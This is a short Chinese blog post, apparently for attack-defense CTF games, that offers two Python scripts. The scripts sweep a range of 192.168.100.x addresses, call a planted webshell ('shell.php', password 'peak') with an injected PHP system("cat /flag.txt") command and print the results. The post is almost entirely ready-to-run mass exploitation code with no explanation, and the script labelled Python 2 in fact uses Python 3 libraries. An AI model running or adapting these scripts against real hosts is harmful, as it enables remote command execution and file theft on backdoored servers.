自动利用webshell执行系统命令py脚本

python2脚本

# -*- coding: utf-8 -*-
import urllib.request
import threading

def cat_flag():
    cmd = "cat%20/flag.txt"  # 还可用cut -c1- /flag.txt
    path = "shell.php"
    passwd = "peak"
    for i in range(110, 140):
        ip = "192.168.100." + str(i)
        print(ip)
        system1= 'system("' + cmd + '");'
        system2 = passwd + "=" + system1
        url = "http://" + ip + "/" + path + "?" + system2
        try:
            response = urllib.request.urlopen(url)
            html = response.read().decode('utf-8')
            if "404" in html:
                print(ip,"#############################################NO flag#######################################################")
            else:
                print(ip, html)
                print("#################################################fflag在上面##################################################")
        except:
            pass
            print("error")

t = threading.Thread(target=cat_flag)
t.start()

python3脚本

# -*- coding: utf-8 -*-
import requests
import threading

def get_flag(ip,path,cmd,passwd):
	system1= 'system("' + cmd + '");'
	system2 = passwd + "=" + system1
	url = "http://" + ip + "/" + path + "?" + system2
	#print(system2)
	#print(url)
	try:
		r = requests.get(url)
		if "404" in r.text:
			print("--------------------------------------------------No flag------------------------------------------------------------")
			print()
		else:
			print(url,r.text)
			print(ip)
			print("--------------------------------------------------上面是flag---------------------------------------------------------")
	except:
		pass
cmd = "cat /flag.txt"#还可用cut -c1- /flag.txt
path = "shell.php"
passwd = "peak"

for i in range(1,139):
	#print(i)
	ip = "192.168.100."+str(i)
	#print(ip)
	t = threading.Thread(target=get_flag,args=(ip,path,cmd,passwd))
	t.start()
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

1stPeak

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值